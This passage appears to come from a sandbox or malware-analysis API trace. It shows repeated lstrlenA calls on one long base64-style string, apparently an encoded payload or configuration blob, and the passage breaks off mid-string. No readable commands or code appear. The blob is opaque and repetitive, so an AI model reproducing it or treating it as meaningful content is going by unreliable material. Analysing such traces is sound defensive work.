(lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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